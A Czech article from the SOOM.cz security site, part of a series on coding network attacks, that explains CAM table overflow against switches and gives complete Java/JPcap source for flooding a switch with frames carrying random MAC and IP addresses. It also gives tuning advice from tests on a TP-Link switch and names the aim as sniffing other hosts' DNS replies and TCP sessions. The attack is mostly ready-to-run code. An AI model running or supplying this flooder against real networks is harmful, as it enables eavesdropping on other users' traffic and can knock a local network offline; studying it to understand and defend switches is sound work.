CAM table overflow útok v Javě

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: jech
Datum: 21.10.2013
Hodnocení/Hlasovalo: 1.07/15

Implementace útoku nazvaného CAM table overflow v programovacím jazyce Java, s pomocí knihovny JPcap.

Minulý článek týkající se implementace TCP SYN flood útoku byl vlastně takovým úvodem, do krátkého seriálu o programování základních útoků na infrastrukturu. Tento článek se věnuje útoku nazvanému CAM table overflow.

K napsání útoku jsem opět volil knihovnu Jpcap a Javu. Odkazy na stažení a krátký popis knihovny najdete v minulém článku.

CAM table overflow útok

CAM table overflow je útok cílený na switch a výsledkem útoku je, že switch začne posílat všechny rámce na všechny své porty. Teda začne se chovat jako hub.

K tomu, abyste pochopili, jak tento útok funguje, musíte nejdříve pochopit jak switch na L2 vrstvě pracuje. Pokud to víte, můžete následujících pár odstavců v klidu přeskočit. Zatímco dříve používaný hub jednoduše odesílal všechny příchozí rámce na všechny své porty (vyjma toho, na který rámec přišel), switch je mnohem inteligentnější.

Přistupuje totiž k MAC adresám a podle nich rozesílá provoz na správné porty. Vnitřně si sestavuje tabulku portů a MAC adres, které se za nimi nacházejí. Této tabulce se říká CAM (Content Addressable Memory).

Ve chvíli, kdy na switch dorazí nějaký rámec, podívá se na cílovou adresu a zkusí ji vyhledat v CAM tabulce. Mohou nastat dvě možnosti:

Switch rozesílá rámce na všechny porty ještě v jednom případě – když je jeho CAM tabulka plná (její kapacita omezená) a nelze tak žádný záznam přidat. Toho lze docílit jednoduše pomocí odesílání velkého počtu rámců s náhodně generovanými MAC adresami.

Implementace

Z implementačního hlediska stačí odeslat jakýkoli rámec druhé vrstvy, který bude obsahovat náhodně generovanou zdrojovou MAC adresu. IP adresu ani obsahovat nemusí. Důležité je, aby dané rámce považoval switch za relevantní nějakým způsobem je zpracoval (třeba přeposláním)

Možností je více, já jsem pro tento příklad volil odesílání UDP paketů na náhodně zvolený port s náhodně generovanou MAC adresou. Pakety zle odesílat např. na nějaký server nacházející se za switchem. Ten je sice odmítne, ale důležité je, že switch, na který útočíte, pakety zpracuje (pošle dál) a tím pádem si přidá záznamy do CAM tabulky.

K samotnému útoku stačí dvě statické funkce – camTableAttack a sendUDPpacket. První funkce v argumentu přijímá, kolik paketů se má odeslat a volá v cyklu funkci druhou, která se stará o odesílání paketů. Funkci camTableAttack poté voláte z mainu a toť vše.

Stejně jako minule nejde o ukázku komplexního nástroje, nýbrž o ukázku zdrojového kódu, který daný útok vyvolá. Kód tedy řeší jádro celého problému a pokud vám nevyhovuje, že musíte ručně zadávat cílovou MAC a ne jen IP adresu, můžete si dopsat nějaký jednoduchý ARP resolver a přípdně parser argumentů pro příkazovou řádku. Ale teď už k samotným funkcím. Zásadní části zdrojového kódu jsou komentovány.

Funkce camTableAttack tedy v cyklu volá odesílání UDP paketu

public static void camTableAttack(int packetsCount) throws IOException, InterruptedException {
  JpcapSender sender = JpcapSender.openDevice(devices[2]); 
  Inet4Address ipDst = (Inet4Address) Inet4Address.getByName("192.168.1.1"); //cíl, kam se odesílají pakety

  byte[] macDst = macToBytes("54e6fcb730e6"); //cílová MAC, resp. mac výchozí brány

  for (int i = 0; i < packetsCount; i++) {
    Inet4Address ipSrc = (Inet4Address) Inet4Address.getByName(generateIP()); //vygenerování zdrojové IP
    byte[] macSrc = macToBytes(generateMac()); //vygenerování zdrojové MAC
    sendUDPpacket(sender, 99, 150, ipSrc, ipDst, macSrc, macDst); //odeslání UDP paketu z náhodně vybraného na náhodně vybraný port
    System.out.println(i + " /n");
  }
  sender.close();
  System.out.println("CAM table attack finished!");
}

Funkce sendUDPpacket přijímá potřebné argumenty a stará se o samotné odeslání UDP paketu.

public static void sendUDPpacket(JpcapSender sender, int portSrc, int portDst, Inet4Address ipSrc, Inet4Address ipDst, byte[] macSrc, byte[] macDst) {
  UDPPacket p = new UDPPacket(portSrc, portDst); //vytvoření UDP paketu

  p.setIPv4Parameter(0, false, false, false, 0, false, false, false, 0, 1010101, 100, IPPacket.IPPROTO_UDP, ipSrc, ipDst); //nastavení flagů a ip adres

  EthernetPacket ether = new EthernetPacket(); //vytvoření ethernetového rámce
  ether.frametype = EthernetPacket.ETHERTYPE_IP;

  ether.src_mac = macSrc; //přirazení mac adres
  ether.dst_mac = macDst;

  String data = "blabla"; //nahodna data

  p.data = data.getBytes(); 
  p.datalink = ether;

  sender.sendPacket(p); //odeslání paketu
}

Z pohledu implementace útoku je jedno, zda odesíláte TCP, UDP nebo třeba jen IP pakety. Pokud switch daný paket zpracuje, vloží si záznam do CAM tabulky. V prvotní implementaci jsem využíval odesílání ARP reply rámců, což fungovalo také, ale jako vedlejší efekt navíc otrávilo ARP cache (a o tom zase příště).

Ke spuštění potřebujete také pomocné funkce generateIP() a generateMac() pro generování adres.

public static String generateMac() {
  Random generator = new Random();
  int tempNumber;
  String mac = "54e6";

  for (int i = 0; i < 8; i++) {
    tempNumber = generator.nextInt(14);
    mac += Integer.toHexString(tempNumber);
  }
  return mac;
}

public static String generateIP() {
  String ip = "192.";
  Random generator = new Random();
  int tempNumber;
  tempNumber = generator.nextInt(252);
  tempNumber++;//nesmí být 0
  ip += tempNumber;
  ip += ".";
  tempNumber = generator.nextInt(252);
  tempNumber++; 
  ip += tempNumber;
  ip += ".";
  tempNumber = generator.nextInt(252);
  tempNumber++; 
  ip += tempNumber;
  return ip;
}

Jako poslední potřebujete funkci macToBytes pro převod MAC adresy na pole bajtů. Ta zůstává stejná jeko v minulém článku o TCP SYN útoku.

public static byte[] macToBytes(String mac) {
  mac = mac.replaceAll(":", "");
  mac = mac.trim();
  String[] hex = mac.split("(?<=\\G.{2})");
  byte[] macAddress = new byte[6];
  for (int i = 0; i < 6; i++) {
    macAddress[i] = (byte) Integer.parseInt(hex[i], 16);
  }
  return macAddress;
}

Testování

Testovaný SOHO switch od TP-Linku si zaplní CAM tabulku až po odeslání několika tisíc paketů. Poté začne rozesílat data na všechny porty. Moc dlouho mu to ale nevydrží a pravděpodobně má integrovaný nějaký obraný mechanismus, neboť se během pár minut stane na tento útok odolný a buď odesílá všechny pakety správně (zřejmě blokuje přidávání záznamů do CAM tabulky) a nebo přestane odesílat všechny pakety a síť se na tak čas zhroutí. Pokud se vám bude switch pravidelně hroutit, zkuste zpomalit odesílání paketů pomocí Thread.sleep(1) v odesílacím cyklu ve funkci camTableAttack.

Tento útok tak nemusí být vždy 100 % spolehlivý. V každém případě se vám ale podaří získat ze sítě alespoň nějaké informace (zajímavé jsou např. DNS odpovědi či navázaná TCP spojení), ale teoreticky tento útok funguje lépe, než prakticky (alespoň v mém případě). Kontrolovat jaké pakety vám chodí na interface můžete např. na dalším PC pomocí Wiresharku.

Získat všechna data určená např. pro jeden konkrétní počítač můžete pomocí ARP poisoning, o kterém se dočtete v jednom z dalších článků.